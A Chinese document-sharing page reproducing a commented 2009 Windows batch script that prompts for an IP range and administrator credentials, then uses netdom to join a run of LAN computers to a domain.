  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

@echo off ::批处理的头文件,主要是用来隐藏P处理命令的
title 群加域P处理---蔡新文制作--2009-05-23- ::P处理窗口标题、日期
echo --------------------------------------------------------------------------------
echo 使用注意事项:::下面的(7点信息)echo命令都是解释的内容信息
echo 1.系统支持工具,使用前需先行安装(光碟:\SUPPORT\TOOLS\SUPTOOLS.MSI)echo.
echo 2.工具安装好后,必需在域控上执行本工具。

echo.
echo 3.客户端必须要指DNS,必须能够正常解析域名。

echo.
echo 4.在客户端上必须要把[使用简单文件共享]的√去掉。

echo.
echo 5.必须要知道客户端上的管理员用户和密码
echo.
echo 6.输入IP网段时,只需要输入1或2(是几网段就输入几),输入IP数量就是你PC机IP尾数。

echo.
echo 7.输入的IP地址必须要连贯。

比如:192.168.100.0 ~100.2 ~100.3 就这样连贯下去。

echo.
echo --------------------------------------------------------------------------------
set /p IP=请输入局域网IP网段:::以下7个set都是设置变量
set /p sl=请输入局域网IP数量:
set /p ym=请输入你要加的域名:
set /p ad=请输入域管理员帐户:
set /p ps=请输入域管理员密码:
set /p yh=请输入客户端管理员用户:
set /p sp=请输入客户端管理员密码:
::FOR语言递增循环,调用netdom命令,使用上面的变量值。

for /l %%a in (1,1,%sl%) do (
netdom join 192.168.%ip%.%%a /domain: %ym% /userd: %ad% /passwordd:%ps% /usero:%yh% /passwordo:%sp% /reboot
)
::%?%里的值都是变量,变量是来调用SET赋予的值
echo %sl%台加域成功!::显示成功加域的信息
pause ::完成后,暂停完毕!。

相关文档
最新文档